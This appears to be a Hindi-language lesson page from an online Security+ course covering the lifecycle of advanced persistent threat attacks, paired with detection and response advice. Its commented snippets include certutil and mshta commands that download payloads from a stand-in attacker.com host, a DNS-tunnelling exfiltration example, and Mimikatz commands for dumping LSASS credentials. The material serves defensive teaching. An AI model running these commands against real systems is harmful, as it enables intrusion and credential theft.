Security+ Academy · पाठ

APT जीवनचक्र: प्रारंभिक पहुँच से स्थायित्व तक

पाठ 1, कुल 4 में से13 चरण

APT जीवनचक्र: प्रारंभिक पहुँच से स्थायित्व तक, CoddyKit पर Security+ Academy का एक निःशुल्क पाठ है। यह 4 में से 1वाँ पाठ है। इस अध्ययन पथ के 3 तक कोई भी पाठ पूरा पढ़ना निःशुल्क है — इसके बाद CoddyKit PRO हर पाठ अनलॉक करता है, साथ ही अंतर्निर्मित कोड संपादक और चौबीसों घंटे एआई शिक्षक के साथ व्यावहारिक अभ्यास भी उपलब्ध कराता है। यह Security+ Academy सीखने के मार्ग का हिस्सा है और आपकी प्रगति वेब तथा CoddyKit ऐप पर सिंक होती रहती है। Security+ Academy पाठ्यक्रम में कुल 4 पाठ शामिल हैं।

उन्नत स्थायी खतरा क्या है

उन्नत स्थायी खतरा (APT) एक जटिल, दीर्घकालिक साइबर हमले का अभियान है, जिसे आम तौर पर राष्ट्र-राज्य से जुड़े हमलावर या पर्याप्त धन वाले आपराधिक समूह विशेष रणनीतिक उद्देश्यों के साथ संचालित करते हैं। इसकी तीन प्रमुख विशेषताएँ हैं: उन्नत — कस्टम मैलवेयर, शून्य-दिन कमजोरियों और नई तकनीकों का उपयोग; स्थायी — कुछ महीनों या वर्षों तक गुप्त उपस्थिति बनाए रखना, न कि तुरंत हमला करके हट जाना; खतरा — किसी विशिष्ट संगठन के विरुद्ध समन्वित और लक्षित हमला। प्रसिद्ध APT समूहों में रूस की GRU से जुड़े APT28 (Fancy Bear), चीन से जुड़े APT41 और उत्तर कोरिया से जुड़े Lazarus Group शामिल हैं।

प्रारंभिक पहुँच: APTs अंदर कैसे प्रवेश करते हैं

APT अभियान आम तौर पर कुछ प्रमाणित प्रारंभिक पहुँच तकनीकों में से किसी एक से शुरू होते हैं। हथियारबंद संलग्नकों या क्रेडेंशियल चुराने वाले लिंक के साथ लक्षित फ़िशिंग सबसे सामान्य तरीका है — ईमेल ऐसा प्रतीत होता है जैसे वह किसी विश्वसनीय सहकर्मी या साझेदार से आया हो। आपूर्ति शृंखला में सेंध (जैसे SolarWinds/SUNBURST में) विश्वसनीय सॉफ़्टवेयर अपडेट में दुर्भावनापूर्ण कोड डाल देती है। इंटरनेट पर उपलब्ध सेवाओं का शोषण (VPN उपकरण, Exchange सर्वर, वेब अनुप्रयोग) बिना पैच वाली CVE का उपयोग करके किया जाता है। वॉटरिंग होल हमले उन वेबसाइटों में सेंध लगाते हैं, जिन पर लक्षित संगठन के कर्मचारी अक्सर जाते हैं, और आगंतुकों को स्वतः चलने वाले शोषण पहुँचाते हैं।

निष्पादन: पहला पेलोड चलाना

प्रारंभिक पहुँच मिलने के बाद हमलावर को लक्षित सिस्टम पर अपना पहला पेलोड चलाना होता है। APT ऐसी तकनीकों को प्राथमिकता देते हैं, जो सामान्य सिस्टम गतिविधि जैसी दिखाई दें: Office दस्तावेज़ों में दुर्भावनापूर्ण मैक्रो, जो पीड़ित द्वारा सामग्री सक्षम करने पर चलते हैं; HTML Application (HTA) फ़ाइलें, जो खोलने पर स्क्रिप्ट चलाती हैं; Living-off-the-Land Binaries (LOLBins) — हमलावर के कोड को चलाने और अनुप्रयोग अनुमति-सूचियों को पार करने के लिए mshta.exe, certutil.exe, regsvr32.exe या wscript.exe जैसे वैध Windows उपकरणों का उपयोग। इन तकनीकों के कारण प्रारंभिक पेलोड को वैध सिस्टम गतिविधि से अलग करना कठिन हो जाता है।

# Example LOLBin abuse: certutil used to download payload
# certutil.exe -urlcache -split -f http://attacker.com/payload.exe payload.exe

# Example: mshta executing remote HTA
# mshta.exe http://attacker.com/malicious.hta

# Detection: alert on certutil/mshta with network connections

C2 स्थापना: हमलावर के घर संपर्क करना

प्रारंभिक पेलोड चलने के बाद वह हमलावर के अवसंरचना तक वापस जाने वाला कमांड और कंट्रोल (C2) चैनल स्थापित करता है। आधुनिक APT C2 में पहचान से बचने के लिए बनाई गई तकनीकों का उपयोग होता है: वैध क्लाउड सेवाओं (Teams, OneDrive, GitHub) जैसी दिखने वाली मिलते-जुलते नाम वाली डोमेन पर HTTPS; DNS टनलिंग — सामान्य DNS ट्रैफ़िक जैसी दिखने वाली DNS TXT रिकॉर्ड क्वेरी में कमांड को कूटबद्ध करना; डोमेन जनरेशन एल्गोरिदम (DGA), जो किसी बीज से प्रतिदिन नया C2 डोमेन बनाते हैं और डोमेन अवरोधन को अप्रभावी कर देते हैं; तथा संचार चैनल के रूप में वैध क्लाउड प्लेटफ़ॉर्म (Slack API, Google Sheets, Twitter) का उपयोग करने वाला living-off-the-land C2।

# DNS tunneling detection: look for unusually long DNS queries
# Normal DNS query: www.google.com (13 chars)
# DNS tunnel query: 4f72d3a1b9c2e5f8.exfil.attacker.com (38 chars of encoded data)

# Zeek/Bro detection rule concept:
# alert dns (dns.qname length > 50)

खोज: वातावरण का मानचित्र बनाना

C2 स्थापित करने के बाद APT हमलावर आगे बढ़ने से पहले वातावरण को समझने के लिए आंतरिक टोही करते हैं। इसमें शामिल हैं: विश्वास संबंधों का मानचित्र बनाने और महत्वपूर्ण लक्ष्यों की पहचान करने के लिए BloodHound जैसे उपकरणों से Active Directory की सूची बनाना; सक्रिय होस्ट, सेवाओं और खुले पोर्ट की पहचान करने के लिए नेटवर्क स्कैनिंग; कॉन्फ़िगरेशन फ़ाइलों, पासवर्ड डेटाबेस या ब्राउज़र में संग्रहीत क्रेडेंशियल खोजने के लिए फ़ाइल सिस्टम में क्रेडेंशियल की खोज; और विशेषाधिकार प्राप्त खातों, सेवा खातों तथा प्रशासक कार्यस्थानों की पहचान करने के लिए पहचान की सूची बनाना। अधिकांश खोज गतिविधियों में पहचान से बचने के लिए Native Windows उपकरणों (net user /domain, ipconfig, nltest) का उपयोग किया जाता है।

# Native Windows commands used by APTs for discovery
# net user /domain                    # list domain users
# net group 'Domain Admins' /domain   # list domain admins
# ipconfig /all                       # network configuration
# netstat -ano                        # active network connections
# tasklist /v                         # running processes

विशेषाधिकार वृद्धि: Admin अधिकार प्राप्त करना

APTs आम तौर पर सीमित उपयोगकर्ता क्रेडेंशियल के साथ प्रारंभिक पहुँच प्राप्त करते हैं और अपने उद्देश्यों को पूरा करने के लिए उन्हें विशेषाधिकार बढ़ाने पड़ते हैं। सामान्य वृद्धि मार्गों में शामिल हैं: Mimikatz का उपयोग करके मेमोरी से क्रेडेंशियल चोरी करना (LSASS प्रक्रिया की मेमोरी से NTLM हैश निकालना); Kerberoasting (सेवा खातों के लिए सेवा टिकट माँगना और उन्हें ऑफ़लाइन क्रैक करना); कमज़ोर अनुमतियों वाली गलत ढंग से कॉन्फ़िगर की गई सेवाओं का शोषण (असुरक्षित सेवा बाइनरी पथ, DLL हाइजैकिंग); और विशेषाधिकार प्राप्त प्रक्रिया के प्रमाणीकरण टोकन को चुराने के लिए टोकन का प्रतिरूपण। User Account Control (UAC) को पार करने वाली तकनीकें UAC संकेत दिखाए बिना मानक Admin से SYSTEM तक जाने की सुविधा देती हैं।

# Mimikatz: dump credentials from LSASS memory
# (defender perspective - what attackers run)
# privilege::debug
# sekurlsa::logonpasswords

# Detection: alert on LSASS memory reads by non-system processes
# Windows Event ID 4656/4663: access to LSASS process

स्थायित्व तंत्र: रीबूट के बाद भी बने रहना

APTs स्थायित्व तंत्रों में भारी निवेश करते हैं, जो रीबूट और सिस्टम की नई इमेज बनाने के बाद भी बने रहें, क्योंकि प्रारंभिक पहुँच प्राप्त करना कठिन और महँगा हो सकता है। सामान्य Windows स्थायित्व तकनीकें हैं: Registry Run Keys (HKLM\Software\Microsoft\Windows\CurrentVersion\Run); नियमित समय-सारणी पर मैलवेयर चलाने वाले Scheduled Tasks; अपने आप शुरू होने वाली Windows Services; WMI Event Subscriptions (जिनका पता लगाना कठिन होता है और जो अधिकांश सफ़ाई प्रयासों के बाद भी बनी रहती हैं); DLL Search Order Hijacking; और Boot/Pre-OS implants (UEFI फ़र्मवेयर इम्प्लांट, जो OS को फिर से स्थापित करने के बाद भी बने रहते हैं और Equation Group/NSA से जुड़े हमलावरों द्वारा उपयोग किए जाते हैं)।

# Common persistence locations to monitor
# Registry:
# HKLM\Software\Microsoft\Windows\CurrentVersion\Run
# HKCU\Software\Microsoft\Windows\CurrentVersion\Run
# HKLM\System\CurrentControlSet\Services

# Check scheduled tasks for suspicious entries
# schtasks /query /fo LIST /v | findstr 'Task Name\|Run As User\|Task To Run'

रक्षा से बचाव: खुले में छिपना

APT endpoint सुरक्षा उपकरणों और विश्लेषकों की पहचान से बचने के लिए व्यापक रक्षा से बचाव तकनीकों का उपयोग करते हैं। इनमें शामिल हैं: प्रक्रिया में कोड प्रविष्ट करना — explorer.exe या svchost.exe जैसी वैध प्रक्रियाओं में दुर्भावनापूर्ण कोड डालना, ताकि मैलवेयर किसी विश्वसनीय प्रक्रिया नाम के अंतर्गत चले; समय-चिह्न बदलना — फाइलों के समय-चिह्नों में बदलाव करना, ताकि दुर्भावनापूर्ण फाइलें कई वर्षों से मौजूद दिखाई दें; लॉग हटाना और उनमें छेड़छाड़ करना — सबूत मिटाने के लिए Windows Event Logs साफ करना; कोड-हस्ताक्षर प्रमाणपत्रों का दुरुपयोग — चुराए गए वैध प्रमाणपत्रों से मैलवेयर पर हस्ताक्षर करना; और मेमोरी में निष्पादन (फाइल-रहित मैलवेयर), जो कभी डिस्क पर नहीं आता, जहाँ फाइल-आधारित AV इसकी पहचान कर सकता है।

बहिर्गमन: गुप्त रूप से डेटा चुराना

APT DLP नियंत्रणों और बैंडविड्थ में असामान्यता की पहचान को सक्रिय होने से बचाने के लिए डेटा बहिर्गमन का सावधानीपूर्वक प्रबंधन करते हैं। तकनीकों में शामिल हैं: डेटा एकत्रीकरण — लक्षित डेटा को बहिर्गमन से पहले एक एन्क्रिप्टेड संग्रह में इकट्ठा करना और कई दिनों में छोटे-छोटे हिस्सों में बाहर भेजना; कॉर्पोरेट फ़ायरवॉल नियमों द्वारा अनुमत क्लाउड संग्रहण सेवाओं (OneDrive, Dropbox) पर HTTPS के माध्यम से डेटा बहिर्गमन; स्टेगनोग्राफी — चित्र फाइलों के अंदर डेटा छिपाना; और वैध ट्रैफ़िक में घुलने-मिलने के लिए कारोबारी समय के दौरान समय-आधारित बहिर्गमन। APT केवल उतना ही डेटा बाहर भेजते हैं जितना उन्हें आवश्यक होता है (उच्च-मूल्य बौद्धिक संपदा, प्रमाण-पत्र, रणनीतिक योजनाएँ), न कि हर चीज़ की बड़े पैमाने पर प्रतिलिपि बनाते हैं — इससे उनका पदचिह्न और पहचान में आने की संभावना कम होती है।

APT गतिविधि की पहचान: प्रमुख संकेतक

APT की पहचान के लिए अलग-अलग चेतावनियों से आगे बढ़कर kill chain में संबंधित गतिविधियों के पैटर्न को पहचानना आवश्यक है। प्रमुख संकेतकों में शामिल हैं: असामान्य parent-child प्रक्रिया संबंध (जैसे, Word द्वारा PowerShell शुरू करना); PowerShell में एन्कोड किए गए कमांड या इंटरनेट से डाउनलोड; असामान्य समय पर बनाए गए निर्धारित कार्य या सेवाएँ; गैर-सिस्टम प्रक्रियाओं द्वारा LSASS मेमोरी तक पहुँच; workstations से SMB या WMI के माध्यम से पार्श्व संचलन; और लंबे उपडोमेन नामों वाली असामान्य बाहरी DNS queries। MITRE ATT&CK Navigator रक्षकों को पहचानी गई तकनीकों को ATT&CK मैट्रिक्स पर दर्शाने और अपनी पहचान-क्षमता के दायरे में मौजूद कमियों को खोजने की सुविधा देता है।

# Splunk query: detect PowerShell encoded command execution
# index=windows source=WinEventLog:Security EventCode=4688
# | search NewProcessName='*powershell*' CommandLine='*-enc*'
# | table _time, ComputerName, SubjectUserName, CommandLine

APT प्रतिक्रिया: संकेत दिए बिना रोकथाम

सक्रिय APT पर प्रतिक्रिया देते समय सावधानीपूर्वक संतुलन आवश्यक है: हमलावर को सतर्क किए बिना खतरे को रोकना। समय से पहले की गई रोकथाम (C2 ट्रैफ़िक को अवरुद्ध करना, खातों को निष्क्रिय करना) APT को विनाशकारी payload सक्रिय करने या डेटा बहिर्गमन तेज करने के लिए प्रेरित कर सकती है। सर्वोत्तम प्रक्रियाओं में शामिल हैं: जानकारी एकत्र करते समय गुप्त रूप से निगरानी करना; C2 को अवरुद्ध किए बिना फ़ायरवॉल नियमों का उपयोग करके संक्रमित hosts को धीरे-धीरे अलग करना; हमलावर की गतिविधि पर निगरानी रखने के लिए भ्रामक तकनीकें लागू करना (honeytokens, canary accounts); और बड़े रोकथाम कदमों से पहले कानून प्रवर्तन एजेंसियों के साथ समन्वय करना। पूर्ण सुधार के लिए सभी persistence mechanisms और compromised accounts की पहचान आवश्यक है — एक भी छूटा हुआ implant हमलावर की वापसी का कारण बन सकता है।

त्वरित जाँच

इस पाठ से CompTIA Security+ (SY0-701) की अवधारणाओं की अपनी समझ जाँचें।

इंटरैक्टिव पाठ में इसका उत्तर दें

पाठ का पुनरावलोकन

इस पाठ में आपने सीखा: APT उन्नत, लगातार चलने वाले और लक्षित अभियान होते हैं, जो आम तौर पर प्रारंभिक पहुँच के लिए spear phishing, supply chain attacks या vulnerability exploitation का उपयोग करते हुए कई महीनों तक सक्रिय रहते हैं; APT सामान्य ट्रैफ़िक में घुलने और पहचान से बचने के लिए C2 हेतु LOLBins और वैध cloud services का उपयोग करते हैं; और persistence mechanisms Registry Run Keys से लेकर UEFI firmware implants तक हो सकते हैं — इनमें WMI subscriptions की पहचान करना और उनका सुधार करना विशेष रूप से कठिन होता है। आगे हम Pass-the-Hash और Pass-the-Ticket सहित पार्श्व संचलन तकनीकों का अध्ययन करेंगे।

शुरुआत निःशुल्क

एआई शिक्षक के साथ Security+ Academy सीखें — निःशुल्क

अपने ब्राउज़र में वास्तविक कोड लिखें और चलाएँ, चौबीसों घंटे एआई शिक्षक से तुरंत सहायता पाएँ, और वेब या ऐप पर वहीं से शुरू करें जहाँ आपने छोड़ा था।

पाठ्यक्रम: 30
पाठ: 120

निःशुल्क सीखना शुरू करें पूरा पाठ्यक्रम देखें

अक्सर पूछे जाने वाले प्रश्न

क्या “APT जीवनचक्र: प्रारंभिक पहुँच से स्थायित्व तक” पाठ निःशुल्क है?

हाँ — Security+ Academy अध्ययन पथ के 3 तक कोई भी पाठ, जिसमें “APT जीवनचक्र: प्रारंभिक पहुँच से स्थायित्व तक” भी शामिल है, यहाँ वेब पर पूरा पढ़ना निःशुल्क है। इसके बाद CoddyKit PRO हर पाठ अनलॉक करता है, साथ ही अंतर्निर्मित कोड संपादक और चौबीसों घंटे एआई शिक्षक के साथ इंटरैक्टिव अभ्यास भी उपलब्ध कराता है। Security+ Academy पाठ्यक्रम में कुल 4 पाठ शामिल हैं।

“APT जीवनचक्र: प्रारंभिक पहुँच से स्थायित्व तक” में मैं क्या सीखूँगा?

भाला-फ़िशिंग द्वारा प्रारंभिक पहुँच से लेकर C2 स्थापना, विशेषाधिकार-वृद्धि और ऐसे स्थायित्व तंत्रों तक APT की गतिविधियों का अनुसरण करें, जो रीबूट और पुनः-इमेजिंग के बाद भी बने रहते हैं। आप ब्राउज़र में सीधे चलाए जाने वाले व्यावहारिक कोड के साथ Security+ Academy का अभ्यास करते हैं, और पाठ पूरा करते समय 24/7 एआई ट्यूटर आपके प्रश्नों के उत्तर देता है।

क्या Security+ Academy शुरू करने के लिए मुझे किसी अनुभव की आवश्यकता है?

पहले के अनुभव की आवश्यकता नहीं है। CoddyKit पर Security+ Academy शुरुआती से लेकर उन्नत शिक्षार्थियों तक सभी के लिए व्यवस्थित किया गया है, इसलिए आप यहीं से या शुरुआत से सीखना शुरू कर सकते हैं और अपनी गति से आगे बढ़ सकते हैं। यह 4 में से 1वाँ पाठ है।

“APT जीवनचक्र: प्रारंभिक पहुँच से स्थायित्व तक” पाठ पूरा करने में कितना समय लगता है?

CoddyKit का अधिकांश पाठ लगभग 5–10 मिनट में पूरा हो जाता है। हर पाठ छोटा और संवादात्मक है, इसलिए आप लगातार प्रगति करते हैं और वेब या ऐप पर वहीं से सीखना जारी रख सकते हैं जहाँ आपने छोड़ा था।

क्या मैं इस Security+ Academy पाठ में कोड लिख और चला सकता हूँ?

हाँ। हर Security+ Academy पाठ में एक अंतर्निर्मित कोड संपादक शामिल है, जिससे आप सीधे अपने ब्राउज़र में वास्तविक कोड लिख और चला सकते हैं और तुरंत एआई प्रतिक्रिया पा सकते हैं—स्थानीय सेटअप की आवश्यकता नहीं है।

इस पाठ्यक्रम के सभी पाठ

APT जीवनचक्र: प्रारंभिक पहुँच से स्थायित्व तक
पार्श्वीय गतिविधि: पास-द-हैश और पास-द-टिकट
Kerberoasting और Golden Ticket हमले
पहचान और प्रतिक्रिया के लिए MITRE ATT&CK फ़्रेमवर्क

← Security+ Academy पर वापस जाएँ